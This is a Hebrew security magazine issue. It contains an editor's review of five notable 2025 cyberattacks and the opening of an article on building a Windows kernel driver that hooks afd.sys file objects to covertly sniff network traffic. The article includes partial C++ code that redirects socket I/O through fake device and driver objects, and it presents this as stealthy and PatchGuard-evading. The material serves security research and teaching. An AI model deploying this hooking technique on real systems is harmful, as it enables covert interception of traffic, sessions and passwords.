Digital Whisper

גליון 181, ינואר 2026

מערכת המגזין:

מייסדים:	אפיק קסטיאל, ניר אדר
מוביל הפרויקט:	אפיק קסטיאל
עורכים:	אפיק קסטיאל וספיר פדרובסקי
כתבים:	יואב מנדלבאום, דוד סטרינסקי, אריאל טרי, עומר מושקטל, גפן אלטשולה, שי גילת

יש לראות בכל האמור במגזין Digital Whisper מידע כללי בלבד. כל פעולה שנעשית על פי המידע והפרטים האמורים במגזין Digital Whisper הינה על אחריות הקורא בלבד. בשום מקרה בעלי Digital Whisper ו/או הכותבים השונים אינם אחראים בשום צורה ואופן לתוצאות השימוש במידע המובא במגזין. עשיית שימוש במידע המובא במגזין הינה על אחריותו של הקורא בלבד.

פניות, תגובות, כתבות וכל הערה אחרת - נא לשלוח אל editor@digitalwhisper.co.il

דבר העורך

היי! כאן ספיר :)

אתחיל את דברי הפתיחה החודש מלעשות קצת סדר בדברים.

אם אתם חלק מהאנשים שקוראים את דברי הפתיחה, בטח שמתם לב שאפיק חזר!

אז מה אני עושה פה?

אני ואפיק החלטנו להמשיך לשתף פעולה בעבודה על הירחון, ונתחלק בו באופן שווה בשווה, כך שבכל חודש אחד מאיתנו הוא העורך.

החודש – תורי :)

וכיאה לגליון האחרון לשנה, החלטתי לסכם את חמש המתקפות של השנה :)

שנת 2025 סימנה נקודת שיא לא רק בכמות מתקפות הסייבר, אלא באופי שלהן. זו הייתה שנה שבה התקפות לא הסתפקו בגניבת מידע או בכופר, אלא פגעו בליבה התפעולית של ארגונים, ניצלו חולשות עמוקות במסגרות פיתוח נפוצות, והתפשטו דרך שרשראות אספקה בקנה מידה שמעטים ציפו לו.

בסיכום חמשת האירועים הבולטים של השנה בחרתי להתמקד לא רק ב־כמה נפגעו, אלא גם ב־איך, אילו חולשות נוצלו, מה הפך את המתקפה ליעילה, ומה זה אומר על מצב ההגנה שלנו היום.

הסיכום מבוסס על ארבעה קריטריונים: Scale (היקף), Impact (נזק), Coolness (אלגנטיות או תחכום טכנולוגי, לא מצאתי מילה יותר טובה) וחדשנות.

מתקפת הסייבר על Jaguar Land Rover (JLR)

המתקפה על Jaguar Land Rover בלטה מעל כולן משום שהיא המחישה בצורה חדה עד כמה הגבול בין IT, תפעול ושרשרת אספקה הפך דק ושביר. נקודת הכניסה הייתה ספק צד־שלישי המחובר למערכות הארגון, אך משם התוקפים הצליחו לנוע לרוחב הרשת, לנצל הרשאות שניתנו בצורה רחבה מידי וסיסמאות שנשמרו בצורה לא מאובטחת ולהגיע למערכות קריטיות הקשורות לתכנון וייצור.

זו לא הייתה מתקפה שהתבססה על חולשה מטורפת, אלא על שילוב חכם של גישה קיימת, ניהול הרשאות לא מוצלח ותלות מערכתית, מה שהוביל להשבתות ייצור ולפגיעה ממשית בשרשרת האספקה. מבחינת Scale ו-Impact, זו אחת המתקפות המשמעותיות של השנה, ובעיקר תזכורת כואבת למחיר של חיבורים לא מבוקרים בין ספקים, IT ו-OT.

גל התקפות על רשויות מקומיות וממשלתיות (כמו למשל St. Paul)

גל התקיפות על רשויות ציבוריות המחיש עד כמה מתקפות סייבר יכולות להפוך במהירות לאירוע אזרחי. ברבים מהמקרים, כולל בעיר St. Paul, נקודת החדירה הייתה פשוטה יחסית: חשבונות שנגנבו, גישה מרחוק לא מאובטחת, או מערכות ללא MFA. משם התוקפים מיפו את הרשת, הגיעו ל-Active Directory והשביתו שירותים חיוניים, בחלק מהמקרים באמצעות Ransomware ולעיתים פשוט על ידי ניתוק מכוון של מערכות. התחכום כאן לא היה בחולשה, אלא ביכולת לנצל זהויות והרשאות כדי לשלוט במערכת שלמה ולפגוע בשירותים יומיומיים של אזרחים. זו מתקפה עם Impact עצום, שמדגישה כמה לא צריך לפרוץ לאיזו ספקית ענן כמו מיקרוסופט כדי ליצור פאניקה ולעשות נזק.

ToolShell וגל הניצול של חולשות SharePoint

במהלך השנה נצפה גל רחב של מתקפות שהתבססו על שילוב של כמה חולשות ב-SharePoint , כולל חולשה שאפשרה הרצת קוד מרחוק ללא אותנטיקציה. לאחר השגת דריסת רגל ראשונית, התוקפים פרסו web shells, גנבו סודות, והשתמשו ב-SharePoint כנקודת קפיצה לתוך שאר הרשת הארגונית.

העוצמה של המתקפה נבעה לא רק מהחולשה עצמה, אלא מהמיקום של SharePoint בלב התשתית הארגונית: עם הרשאות עמוקות וחיבורים למערכות רבות. השילוב הזה הפך את המתקפה לבעלת Scale גבוה במיוחד ולכזו שמדגימה כיצד מוצר "שגרתי" יכול להפוך לווקטור תקיפה מרכזי.

React2Shell: חולשה קריטית ב-React / Next.js

רק מהחודש האחרון - React2Shell חשפה חולשה מהותית באופן שבו React Server Components ו-Next.js מטפלים בקלט ובגבולות בין שרת ללקוח. החולשה אפשרה לתוקפים לבצע הרצת קוד מרחוק ללא אימות, לגשת למשתני סביבה ולשלוף סודות מה-On-Prem וגם מהענן. מאחר שמדובר באחת ממסגרות הפיתוח הנפוצות בעולם, פוטנציאל הפגיעה היה עצום.

מעבר ל-Scale, זו מתקפה שנתתי לה ניקוד גבוה ב-Coolness ובחדשנות: ניצול של הנחת יסוד בעיצוב תשתית מודרנית, ולא של טעות קונפיגורציה נקודתית. היא המחישה עד כמה שכבת האפליקציה עצמה הפכה ליעד אטרקטיבי.

Shai-Hulud 2.0: מתקפת שרשרת אספקה ב-npm

Shai-Hulud 2.0 הייתה אחת ממתקפות שרשרת האספקה המרשימות של השנה. התוקפים הצליחו להשתלט על חבילות npm פופולריות, לפרסם גרסאות זדוניות, ובזמן ההתקנה לגנוב סודות מסביבות פיתוח ו-CI/CD. כולל טוקנים ומפתחות גישה. הסודות האלו עלו ל-repo-ים פומביים בגיטהאב שהיו נגישים למי שרק רצה, והחבילות הנגועות המשיכו להתפשט, והובילו לחשיפה של עשרות אלפי סודות.

זו מתקפה עם Scale חריג, Impact מצטבר עצום, וחדשנות גבוהה באופן שבו היא מנצלת את האמון האוטומטי בתשתיות קוד פתוח. היא ממחישה עד כמה שרשרת האספקה הפכה לאחד היעדים הרגישים והמסוכנים ביותר, וגם השם שלה ממש מצחיק אותי.

שנת 2025 הוכיחה שוב שאין "שוליים" במערכות מודרניות, כל רכיב, ספרייה או ספק יכולים להפוך לנקודת כניסה. חמש המתקפות האלו, כל אחת בדרכה, משרטטות את מפת האיומים של ההווה, אבל אין לי שמץ של מושג מה יהיו האתגרים בשנת 2026.

אנחנו רואים יותר שימוש ב-AI בפיתוח כלי תקיפה, יותר פלטפורמות, טכניקות שמזמן כבר אי אפשר לקרוא להן רק "פישינג", ומה לא.

אז אני מניחה שאני בכלל לא יכולה לדמיין מה תביא איתה שנת 2026.

בנימה אישית יותר, שנת 2025 שלי גם היתה דיי מרגשת, בעיקרה, העובדה שהתחלתי לערוך את Digital Whisper. אם היו אומרים לי שנה שעברה שאסיים את השנה אחרי מעל שבעה גליונות שערכתי, הייתי מתה מצחוק.

עכשיו כשאני מתחילה להתרגל לטייטל הזה (שדורש לא מעט השקעה, אין לי מושג איך אפיק עושה את זה לבד כבר כל-כך הרבה שנים), אני מקווה לנצל את שנת 2026 כדי לפתח את הירחון, להביא רעיונות ופרויקטים חדשים, ועם זאת, לשמור עליו מיוחד כפי שתמיד היה.

אני מאחלת לכולכם שנה אזרחית חדשה טובה, אני מצפה בקוצר רוח לקרוא ולערוך את המאמרים שלכם!

נ.ב – אם יש לכם סיכום מתקפות משלכם, נשמח לשמוע אותו בתגובות! :)

וכמובן, לפני שניגש לתוכן הגליון, נרצה להגיד תודה לכל מי שישב והשקיע מזמנו וכתב לנו מאמר החודש. תודה רבה ל**יואב מנדלבאום,** תודה רבה ל**דוד סטרינסקי,** תודה רבה ל**אריאל טרי,** תודה רבה ל**עומר מושקטל,** תודה רבה ל**גפן אלטשולר,** תודה רבה ל**שי גילת**!

קריאה נעימה,

ספיר פדרובסקי ואפיק קסטיאל

תוכן עניינים

דבר העורך	2
תוכן עניינים	5
AFDUMP – Sniffing Network From The Kernel	6
על מירוצים, תוכנה ומה שביניהם	50
Hiding under ROP for fun and profit	79
אוטומציה? סוכן AI? מי זה בכלל נתן?	128
Where is my AirTag	145
I Need a Hero	165
דברי סיכום	202

AFDUMP – Sniffing Network From The Kernel

מאת יואב מנדלבאום

הקדמה

בתור תוקף, היכולת לתפוס כל מידע רשתי המגיע אל עמדה היא חסרת מחיר. היא מאפשרת לתוקף לדעת כמעט הכל על אותה עמדה נגועה ולאחוז בה רשתית: לאיזה אתרים היא גולשת, עם איזה עמדות אחרות היא מתקשרת, הדלפת סיסמאות, גניבת session-ים ואפילו באיזה שעות העמדה אקטיבית.

כשתוכנה רוצה לקבל או לשלוח מידע למחשב אחר, המידע חייב לעבור ב-**kernel.** כחלק מתפקידיו הרבים של ה-kernel, הוא גם זה שמטפל בתהליך העברת מידע רשתי שמגיע ויוצא מה-NIC.

מאמר זה יעסוק בפיתוח יכולת להסנפת מידע רשתי המגיע אל עמדת Windows. במאמר אציג את היכולת ואסקור את תהליך המחקר והפיתוח שלה. בכדי ליישם את השיטה, אכתוב דרייבר קרנלי למערכת ההפעלה Windows. הדרייבר יממש טכניקה כללית שנקראת File Object Hooking.

את הטכניקה נבצע ספציפית על דרייבר של Windows שנקרא AFD.sys.היכולת תקנה לתוקף גישה לכל מידע רשתי שמתקבל במכונת היעד. בכך, הוא יוכל להדליף מידע החוצה אך גם ליישם **C2** "שקוף" - אין צורך בפתיחת listener ייעודי. במקום זאת, הוא יוכל "להתלבש" על תהליך listener שכבר מאזין במערכת ולראות כל מידע שמגיע אליו .

חשוב לציין כי המאמר מיועד לחוקרים ומפתחים בעלי רקע וניסיון בקרנל של Windows.
המאמר לא יכלול הסבר על הקמת סביבת עבודה בסיסית.

The Windows Network Stack

כידוע, מערכת ההפעלה Windows תומכת בשימוש באינטרנט. התמיכה מתבטאת ב-APIs שונים אשר מאפשרים לתוכנות לבצע פעולות כמו פתיחת סוקטים, שליחת מידע, קבלת מידע וכו'. פעולות אלו מוחצנות ונקראות ע"י תוכנות ב-user-mode אך רוב הלוגיקה האמיתית שלהן מתבצעת ב-kernel-mode. שם, נמצאים דרייברים שאחראיים על הביצוע בפועל של הפעולות הרצויות. בדיאגרמה הבאה ניתן לראות ייצוג מלא של ארכיטקטורת ה-networking של Windows:

אנחנו נתמקד ב-winsock API אשר ממומש ב-user-mode ע"י WS2_32.DLL וב-kernel-mode ע"י afd.sys.

[Windows Internals, Sixth Edition, Part 1]

Winsock API

ה-Winsock API הוא ה-API של Windows שמספק למפתחים את הפונקציות לדבר עם מערכת ההפעלה בכדי להשיג גישה לשירותי ופרוטוקולי רשת, כגון: TCP/IP . לדוגמא, כאשר משתמש גולש לאתר, הדפדפן משתמש ב- winsock API בשביל לקבל מידע מאותו האתר (פונקציית recv). למעשה, כל תוכנה שרצה על Windows וצריכה לגשת לאינטרנט מסתמכת בצורה ישירה או עקיפה על ה-winsock API. אם הקוד כתוב בשפת low-level כמו C, הוא כנראה קורא ישירות לפונקציות כמו socket() או connect(), לעומת שפת high-level שם הקריאות מובמסות.

[CS461: Network, Windows Socket Programming in C]

WS2_32.DLL

זה הוא ה-DLL המרכזי של ה-Winsock API, תפקידו של ws2_32.dll הוא לספק למפתחים ממשק אחיד לביצוע פעולות רשתיות. ה-dll מחצין פונקציות שמאפשרות לתוכנות user-mode להשתמש במשאבי רשת. כל אפליקציית Windows מייבאת את ה-dll הזה על מנת לתקשר החוצה.

לדוגמא, כאשר תוכנה רוצה לקרוא מידע מ-socket, היא תיקרא לפונקציית WSARecv שנמצאת ב-ws2_32.dll. ה-DLL הזה הוא מימוש high-level, כלומר, הוא מהווה שכבת אבסטרקציה למימוש האמיתי של הפונקציות הרשתיות.

MSWSOCK.DLL

mswsock.dll הוא ה-base winsock provider. בקצרה, ב-windows יש service providers שאחראים על הלוגיקה מאחורי ה-API. יש base providers - שמטפלים בפרוטוקולים העיקריים (כמו TCP) ויש layered providers שיושבים מעל base providers ויכולים להוסיף שכבות של הצפנה, פילטור וכו'.

במקרה שלנו, ws2_32.dll הוא בסה"כ dll שיודע ליחצן פונקציות בסיסיות, הוא אינו אחראי על מימוש לוגי אמיתי. mswsock.dll הוא ה-provider שמספק תיווך בין ws2_32.dll לבין הדרייברים בקרנל שמממשים בפועל את פרוטוקולי התקשורת, כפי שניתן לראות בדיאגרמה למעלה.
הדרך שבה mswsock מתווך היא על ידי שימוש ב-syscalls כגון NtReadFile, NtDeviceIoControlFile וכו'.

NTDLL.DLL

באופן כללי, ntdll.dll הוא dll של מערכת ההפעלה שמהווה גשר בין פונקציות מה-userland ועד למימושן בקרנל. ntdll לא רץ ב-kernel, הוא מממש את ה-native API ומהווה wrapper ל-syscalls באופן ששקוף לתוכנות ה-usermode. פונקציה שמתחילה ב"Nt" היא פונקציה ששייכת ל-ntdll.

[Tvrpism, High-Level Overview of Windows architecture]

כש-mswsock.dll מדבר עם דרייברים קרנליים, הוא משתמש בפונקציות שמיוצנות ע"י ntdll.dll.

Transport Drivers

ה-Transport Drivers הם אוסף של דרייברים קרנליים שאחראים על מימוש של פרוטוקולי התקשורת בשכבת ה-Transport. בהם נמצא הקוד שיודע לפרמט פקטות, להרכיב אותן מחדש, לטפל ב-sequence numbers וכו. כלומר, הם בכלל לא מכירים את צד ה-user-mode, מטרתם היא לממש את הלוגיקה של פרוטוקולי השכבה (TCP / UDP) ברמת הקרנל.

AFD.SYS

afd.sys הוא ה-winsock driver. כלומר, הוא מממש את ה-Winsock API מהצד הקרנלי. כמובן שהוא לא עושה זאת לבד ולא מיישם את פרוטוקולי התקשורת בעצמו.

Afd הוא מתווך בין התוכנה ה-user-mode-ית שנמצאת "מעליו" לבין ה-transport drivers שנמצאים "מתחתיו". לשם תפקיד זה, הוא יודע לשמור מצב (state - כגון listening / established) על כל סוקט במערכת. הוא לוקח בקשות מה-user-mode ומעביר אותן ל-transport driver המתאים (לדוגמא tcpip.sys עבור פעולה על סוקט מסוג TCP).

מבט high-level על תהליך מלא של קריאה מ-socket, יראה כך:

- תוכנה קוראת לפונקציה ()recv לאחר שפתחה סוקט מסוג TCP.
- WS2_32.dll מעביר את הבקשה ל-DLL המבצע, MSWSOCK.dll.
- MSWSOCK מבצע קריאה (DeviceControl) ל-afd.sys.
- afd.sys שולח בקשה ל-tcpip.sys.
- tcpip.sys אחראי על לוגיקת פרוטוקול tcp - מספרי seq, ack וכדומה. הוא מבצע קריאות לדרייברים נמוכים יותר ב-network stack (כמו ndis.sys) ולבסוף מקבל מידע בחזרה.
- כעת, יש תהליך פעפוע בחזרה למעלה, המידע מגיע אל afd.sys שדואג לשים אותו ב-buffer שהעבירה אליו התוכנה. לבסוף, הוא מחזיר לתוכנה תוצאה האם הפעולה הצליחה או כשלה וכעת התוכנה יכולה לגשת למידע.

מכאן אפשר להבין ש-afd.sys משחק תפקיד משמעותי - הוא הגשר הקרנלי בין Winsock API לבין המימוש המסובך מאחורי הקלעים של ה-network stack של Windows. על כן, כל תהליך של שימוש בסוקטים, כל העברת מידע, כל קבלת מידע - עובר דרכו.

- מסיבות אלו, afd הוא מטרה מעניינת עבור תוקף שרוצה להשיג אחיזה חזקה על עמדה נתקפת - להדליף מידע, לשבש או לשנות תעבורה.
- אם נוכל "לשבת" בין ws2_32.dll לבין afd.sys, נוכל להשיג כל מידע על איזה סוקטים פתוחים, מה מצבם, מה המידע שהם מקבלים ומה הם שולחים.

Kernel Managers & Objects

Object Manager

הקרנל של Windows בנוי מחלקים שונים הנקראים מנהלים ((managers, כל מנהל אחראי על תחום קריטי לתפעול של מערכת ההפעלה. ישנם מנהלים רבים כגון memory manager האחראי על ניהול הזיכרון הפיזי או ה-process manager שאחראי על הרצת כל תהליך ו-thread במערכת. ה-Object Manager הוא תת-מערכת בקרנל שאחראית בין היתר על:

- יצירת אובייקטים.
- מעקב אחרי ה-life cycle.
- ניהול גישה לאובייקטים.
- חיפוש אובייקטים לפי שם.
- פתיחת handles.
- ניקוי אובייקטים.

I/O Manager

ה-I/O Manager הולך יד ביד עם ה-Object Manager בהרבה מקרים. הוא אחראי לניתוב כל בקשות ה-I/O במערכת ולכן תפקידו הוא קריטי בעת תקשורת רשתית, שבה עובר המון מידע. כמעט כל תקשורת בין קוד user-mode-י לבין דרייברים בקרנל נעשה על ידי I/O Request Packet (בקצרה - IRP), לא אפרט על IRP אך ניתן למצוא את כל המידע ב-MSDN. כאשר תוכנה רוצה לתקשר עם איזשהו דרייבר, היא בכלל לא צריכה להכיר מה זה IRP, ה-I/O Manager דואג ליצור IRP מתאים מאחורי הקלעים ולשלוח אותו לדרייבר הנכון. בהמשך נראה את התהליך בפעולה.

ה-I/O Manager אחראי בין היתר על:

- הממשק שמאפשר תקשורת בין user-mode לדרייברים.
- ניתוב בקשות לדרייברים.
- יצירת IRPs.
- טיפול בצרכי סנכרון שונים (בקשות אסינכרוניות).

Kernel Objects

הקרנל מגדיר ומשתמש באובייקטים בכדי לייצג משאבים של מערכת ההפעלה, וכל אובייקט בנוי מ-header ו-body.

- ה-header מכיל metadata על האובייקט, כמו סוג, דגלים, כמות reference-ים.
- ה-body מכיל את המידע ותכונות האובייקט הייחודיות לו.

מנגנון האובייקטים מהווה ממשק אחיד לניהול משאבי המערכת. המנגנון מאפשר למערכת ההפעלה לעקוב ולנהל את ה-life cycle של אובייקטים. לכל אובייקט מוצמד reference count שמסמל כמה handle-ים פתחו אליו וכמה פוינטרים מצביעים אליו. כך, המערכת יכולה לדאוג שברגע שה-count הוא 0, האובייקט יימחק. כמו כן, ישנו פן אבטחתי לאובייקטים - לכל אובייקט יש ACL ו-access masks שמגדירים מי יכול לגשת לאובייקט ואיזה פעולות הוא יכול לבצע עליו (מחיקה, קריאה, כתיבה..).

- handle הוא ערך שמייצג אובייקט. ב-user-mode ה-handle הוא אינדקס בטבלת handle-ים השייכת רק ל-process שפתח את ה-handle. ב-kernel-mode ה-handle הוא גם אינדקס, אך בטבלה משותפת לכל הקרנל.
- ה-object manager מחצין פונקציות להמרת ה-handle מהייצוג המספרי שלו לאובייקט שהוא מייצג וגם ההפך. דוגמא לפונקציה כזו היא ObReferenceObjectByHandle.

Device Objects

בקצרה, device מייצג רכיב פיזי או לוגי של דרייבר מסוים. לדרייבר יכולים להיות כמה רכיבים כאלה, שהוא אחראי ליצור להם אובייקט מייצג. לדוגמא, הדרייבר HidUsb.sys אחראי על ניהול מכשירי usb כמו מקלדת ועכבר. בעת חיבור מקלדת, הדרייבר ייצור device object שייצג את אותה המקלדת ויכיל מידע ספציפי עליה.

כאשר אנחנו רוצים "לתקשר" עם דרייבר, לא נעשה זאת ישירות - נשתמש ב-handle ל-device על מנת לשלוח בקשות לדרייבר.

File Objects

File Object הוא אחד מהרבה סוגי אובייקטים שבהם הקרנל משתמש. על אף השם, ה-file object לא נועד לייצג רק קבצים כמו שאנחנו מכירים. למעשה, הוא מייצג כל דבר שתומך ב-I/O. כלומר, גם socket מיוצג על ידי file object. חשוב לציין שה-file object הוא לא הקובץ עצמו או התוכן שלו, אלא דרך של מערכת ההפעלה לייצג את הקובץ שבשימוש ולשמור עליו מידע ניהולי.

לדוגמא, כאשר אנחנו רוצים לכתוב לקובץ על הדיסק:

- קודם כל נצטרך לקבל handle ל-file object של אותו הקובץ, לשם כך נקרא לפונקציה ZwOpenFile ואליה נעביר את שם הקובץ.
- ה-I/O Manager רואה את שם הקובץ ומזהה שה-device שצריך לטפל בבקשה שייך לדרייבר של מערכת הקבצים (ntfs.sys).
- כעת, ה-I/O Manager מייצר IRP ומעביר אותה אל ntfs.sys בכדי שיפתח את הקובץ.
- ntfs.sys מקבל את הבקשה ומייצר אובייקט קובץ עבור הקובץ הרצוי. בנוסף, ה-object manager יוצר handle שמייצג את ה-file object שנוצר. ה-handle מוחזר אלינו כתוצאה של ZwOpenFile.
- כשנרצה לכתוב לקובץ - נקרא לפונקציה ZwWriteFile ונעביר את ה-handle שקיבלנו. ה-object manager ימיר את ה-handle בחזרה ל-file object, ואז בעזרת ה-I/O Manager תישלח בקשת כתיבה ל-ntfs.sys.

מה שחשוב להבין מהתהליך הוא שכל file object מצביע על device object שאחראי על טיפול בבקשות I/O על אותו file.

כזכור, ה-device מצביע לדרייבר שמכיל בפועל את הלוגיקה לטיפול בבקשות. המשמעות היא שבקשת I/O על file object תגיע לבסוף לפונקציה של דרייבר, שידאג לטפל בה.

Afd.sys and File Objects

עכשיו שאנחנו יודעים מה הם file objects וגם מה תפקידו של afd.sys, ניתן לחבר ולהבין כיצד afd.sys משתמש ב-file objects:

כפי שצוין בעמודים הקודמים, כל סוקט שנפתח (בין אם ב-user-mode או kernel-mode) מיוצג ע"י file object. כאשר תוכנה רוצה לפתוח socket חדש, ה-ws2_32.dll קורא מאחורי הקלעים לפונקציה NtCreateFile. הפעם, לא מועבר שם של "קובץ" כמו שאנחנו מכירים, אלא, מועבר ה-string "**\device\afd**" - זה השם של ה-device object של afd.

ה-I/O manager מעביר את הבקשה ל-afd שיוצר file object חדש. בעת ביצוע פעולות על ה-socket, הדרייבר יעדכן את ה-file object שמייצג את הסוקט כך שהוא יכיל מידע רלוונטי על הסוקט (האם היא tcp/udp, מה מצבה וכדומה).

socket == file object שנוצר ומנוהל על ידי afd.sys.

כאשר התוכנה מבצעת פעולות כמו bind, accept, send וכדומה על הסוקט, ws2_32.dll מתרגם אותן לקריאות NtDeviceIoControlFile עם handle ל-file object שמייצג את הסוקט.

NtDeviceIoControlFile

הפונקציה NtDeviceIoControlFile מאפשרת ל-usermode לשלוח IRPs אל דרייברים. הפונקציה מוגדרת כך:

```
__kernel_entry NTSTATUS NtDeviceIoControlFile(
  [in]  HANDLE            FileHandle,
  [in]  HANDLE            Event,
  [in]  PIO_APC_ROUTINE   ApcRoutine,
  [in]  PVOID             ApcContext,
  [out] PIO_STATUS_BLOCK  IoStatusBlock,
  [in]  ULONG             IoControlCode,
  [in]  PVOID             InputBuffer,
  [in]  ULONG             InputBufferLength,
  [out] PVOID             OutputBuffer,
  [in]  ULONG             OutputBufferLength
);
```

הפרמטרים היותר מעניינים שהיא מקבלת הם InputBuffer, IoControlCode ו-**FileHandle**:

- **FileHandle** - **הפונקציה אמנם מעבירה את ה-IRP אל דרייבר, אך היא לא מקבלת כפרמטר את השם או מצביע לדרייבר** - היא בכלל מקבלת **handle ל-file object**. ה-I/O manager יידע להעביר את הבקשה לדרייבר **רק** לפי שדה ה-device object שקיים בתוך ה-file object.
- **IoControlCode** - זהו ה-IOCTL, לתוכנה יש את השליטה המלאה על איזה IOCTL היא מעבירה.
- **InputBuffer** - במידה והתוכנה רוצה להעביר מידע ביחד עם הבקשה, כאן היא יכולה להעביר אותו. הדרייבר יקבל את הבאפר הזה בשדה userBuffer או בשדה systemBuffer ב-IRP.
- **OutputBuffer** - מכאן התוכנה תקרא מידע שהוחזר מהדרייבר. לעיתים ה-Input וה-OutputBuffer יהיו זהים בכתובת.

האם יש דרך שנוכל לגרום ל-file object להצביע לדרייבר אחר? לדרייבר שלנו?

File Object Hooking

file object hooking היא בפרקטיקה שינוי של שדה ה-device object בתוך המבנה file object. כל קוד קרנלי יכול בתיאוריה לגשת ולשנות את השדה ובכך לבצע Man-In-The-Middle על כל פעולות ה-I/O שמתבצעות דרך file object אחד או רבים.

הרעיון בשיטה הוא די פשוט: נשיג כתובת של file object ונגרום לשדה ה-device object שהוא מכיל להצביע על device שבשליטתנו. כך, כאשר ה-I/O manager ינסה להבין לאן הוא צריך לשלוח את ה-IRP, הוא ישלח אותה אלינו - אל דרייבר זדוני, במקום אל הדרייבר המקורי. כשהדרייבר שלנו יקבל את ה-IRP הוא:

- יתעד את הבקשה.
- יעביר אותה אל הדרייבר של afd ויקבל ממנו תשובה (status).
- יחזיר את התשובה אל התוכנה המבקשת.

כמובן, בשביל לגרום לשיטה לעבוד, לא מספיק רק לשנות את המצביע, אלא עלינו לוודא שאנחנו לא פוגעים בתהליכים הקשורים ל-file object ובמה שהוא מייצג. המטרה היא להיות בלתי נראה ולהיכנס בין הבקשות אך לא לגרום לשיבוש (לפחות לא בטעות).

זוהי שיטה שלא מטריגה PatchGuard כיוון שאין כאן מניפולציה על מבנה קרנלי קבוע אלא על אובייקטים שנוצרים ונהרסים כל הזמן. בנוסף, אנחנו שולטים על איזה אובייקט אנחנו רוצים לעשות hook ברמת

האובייקט ולא ברמת הדרייבר. כלומר, יכול להיות שנחליט לעשות hook רק על אובייקט אחד שרלוונטי לנו, בלי לגעת בשאר האובייקטים של אותו הדרייבר. כמו כן, השיטה הזאת הרבה פחות "רועשת" משיטות אחרות כמו SSDT hooking. במבט high-level, ביצוע מוצלח של file object hooking ייראה כך:

תחילת המימוש

דיסקליימר קטן: ההשראה והמקור לטכניקת file object hooking הגיעה מפרויקט בשם Spectre, שהוצג בשנת 2020 ב-blackhat. קוד המקור שלו שנמצא ב-github לא עובד זמן רב לאור שינויים במערכת ההפעלה ומיטיגציות שנוספו כנגד השיטה. הקוד שאציג עבר שינוי רב והתאמות כדי שיעבוד גם בגרסאות האחרונות של Windows 10.

הקוד שאראה הוא של דרייבר (WDM) קרנלי לווינדוס שנכתב בסביבת visual studio 2019, הוא כתוב בשפת c++ וכולל קלאסים. נתמקד בחלקים שקשורים למימוש הטכניקה, ופחות בפונקציות הגנריות כמו DriverEntry.

אציג את הקוד בשלושה שלבים: בעיה, מחקר ופתרון - זאת כדי להסביר את הרציונל מאחורי כל שורת קוד חשובה. בהתחלה, יהיה קוד שלא בהכרח עובד, ואחריו ננסה להבין (בעזרת כלים כמו ida ו-APImon) איך לתקן. חלק מצילומי הקוד לא מכילים boilerplate של בדיקת סטטוסים ושגיאות בכוונה. כלומר זה קוד חלקי בשביל שיהיה יותר קל להבין את הקונספט המרכזי.

הקוד המלא נמצא בגיטהאב שלי - למי שרוצה (:

File Objects Enumeration

בכדי לבצע file object hooking על afd.sys, אנחנו קודם כל צריכים למצוא את ה-file objects השייכים אליו. לכן, נבצע אנומרציה על כל ה-handles הפתוחים במערכת ומתוכם נזקק את ה-file objects לפי קריטריונים רצויים. הפונקציה GetAllHandles משתמשת בפונקציה ZwQuerySystemInformation ומשיגה את כל ה-handles שפתוחים במערכת, לכל סוג אובייקט שהוא - לא רק file object.

יש כאן שתי לולאות, הלולאה הראשית (while) אמורה לרוץ כל עוד הדרייבר שלנו רץ. היא רצה ב-thread נפרד וחוזרת על עצמה כל שנייה. הסיבה לכך היא שכל הזמן נוצרים ונסגרים file objects. לכן, אם נרצה לעשות hook על סוקט חדש שנפתח - נצטרך לסרוק כל הזמן.

הלולאה השנייה היא לולאת for בה אנחנו עוברים על כל ה-handles ובודקים כמה תנאים:

1. האם קיים אובייקט שמשויך ל-handle?
2. האם האובייקט הוא מסוג file?
3. האם ה-file object שייך ל-device של הדרייבר afd.sys?

במידה ועברנו את כל התנאים, נקרא לפונקציית **hook**. זוהי פונקציה ממש פשוטה שבסה"כ מחליפה את המצביעים בעזרת קריאה לפונקציה InterlockedExchange64.

זו דרך משוכללת לכתוב: FileObject->DeviceObject = this->FakeDeviceObject.

```
VOID HookProvider::Hook(PFILE_OBJECT FileObject)
{
    // Replace the device object pointer.
      InterlockedExchange64(&FileObject->DeviceObject, this->FakeDeviceObject);
}
```

this->FakeDeviceObject הוא device object מזויף שאמור להיראות כאילו הוא של afd אך שדה ה- driver object שלו, כלומר לאיזה דרייבר הוא שייך, מצביע אלינו.

יצירת device object מזויף

בכדי ליצור כל סוג של אובייקט, ניתן להשתמש בפונקציה הקרנלית **ObCreateObject**. אנחנו משתמשים בה כדי ליצור device object ו-driver object ריקים, לא מאותחלים.

נכתוב קוד שמעתיק את הבתים שנמצאים באובייקטים האמיתיים של afd.sys אל תוך האובייקטים המזויפים שיצרנו:

```
VOID HookProvider::PopulateFakeObjects()
{
    // Fill fake driver with original afd driver details.
    memcpy(this->FakeDriverObject, afdDevice->DriverObject,
TOTAL_DRIVEROBJ_SIZE);

    // Fill fake device with original afd device details.
    memcpy(this->FakeDeviceObject, afdDevice, TOTAL_DEVICEOBJ_SIZE);

    // Set both fake object pointers.
    this->FakeDeviceObject->DriverObject = this->FakeDriverObject;
    this->FakeDriverObject->DeviceObject = this->FakeDeviceObject;

    // Save the fake device object.
    this->AfdUtils->FakeAfdDeviceObject = this->FakeDeviceObject;

    // Re-direct each major function to us.
    for (int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION + 1; i++)
    {
        this->AfdUtils->OriginalAfdMJ[i] = this->FakeDriverObject-
>MajorFunction[i];
        this->FakeDriverObject->MajorFunction[i] = this->MJWrapper;
    }
}
```

בשתי השורות הראשונות יש העתקה של כל השדות של האובייקטים המקוריים של AFD אל תוך האובייקטים שיצרנו.

```
this->FakeDriverObject->DeviceObject = this->FakeDeviceObject;
this->FakeDeviceObject->DriverObject = this->FakeDriverObject;
```

שתי השורות האלו משנות את המצביעים כך שכל אחד מהאובייקטים המזויפים יצביע אל השני: אובייקט הדרייבר המזויף יצביע אל אובייקט ה-device המזויף וההפך.

המטרה היא שה-I/O Manager יסתכל על ה-device המזויף ויראה שהוא מצביע אל הדרייבר שלנו, כלומר שאת ה-IRP הוא יעביר אל הדרייבר שלנו.

- לולאת ה-for עוברת על מערך המצביעים ל-dispatch routines המקוריים של afd, שומרת אותם בצד ומחליפה אותם בפונקציה שלנו.
- מערך המצביעים הזה הוא שדה ב-driverObject שקיים עבור כל דרייבר קרנלי. כאשר IRP נשלח אל דרייבר, הוא מכיל שדה הנקרא **MajorFunction** והוא זה שקובע לאיזה פונקציה (מבין הפונקציות

במערך) הבקשה תגיע. לדוגמא, כאשר הבקשה היא מסוג IRP_MJ_DEVICE_CONTROL, הפונקציה שתיקרא היא באינדקס 14 במערך.

